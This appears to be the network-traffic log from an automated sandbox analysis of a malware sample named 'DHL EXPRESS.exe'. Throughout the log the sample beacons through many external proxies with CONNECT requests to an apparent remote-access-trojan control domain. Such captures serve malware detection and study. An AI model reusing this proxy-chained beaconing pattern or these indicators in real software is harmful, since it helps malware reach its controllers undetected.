Mar 11, 2024 18:36:50.075684071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.123359919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.206613064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.261734962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.300257921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.393881083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:38.393899918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:02.393886089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:50.393830061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.8	53385	104.16.72.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.080333948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.234772921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.8	53387	185.162.228.170	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.081012964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.235344887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.8	53210	61.79.73.225	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.085552931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.8	53410	104.27.12.22	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.087168932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.242229939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.8	53230	163.172.129.251	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.098319054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845490932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.8	53187	177.67.136.241	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.115919113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.8	53236	115.84.248.140	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.117343903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.484808922 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 18:36:50.802056074 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.8	53386	208.87.131.240	41368	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.119102955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.706281900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309364080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.452843904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.800455093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097927094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.409758091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.063766003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.206408978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.8	53302	72.206.181.97	64943	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.135550976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.8	53291	46.51.249.135	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.136271954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.403841972 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:50 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.8	52661	148.72.212.252	33516	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.145715952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.268315077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.394166946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.409710884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.503288031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.503412008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:38.503212929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:02.503560066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:50.503192902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.8	53322	98.162.25.23	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.147114038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.8	53247	192.162.232.15	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.147114992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.8	51405	162.241.50.179	40179	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.169197083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.8	53374	162.223.94.166	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.169198990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.442800045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.8	53447	23.19.244.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.169514894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.8	53267	162.55.87.48	5566	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.170042038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
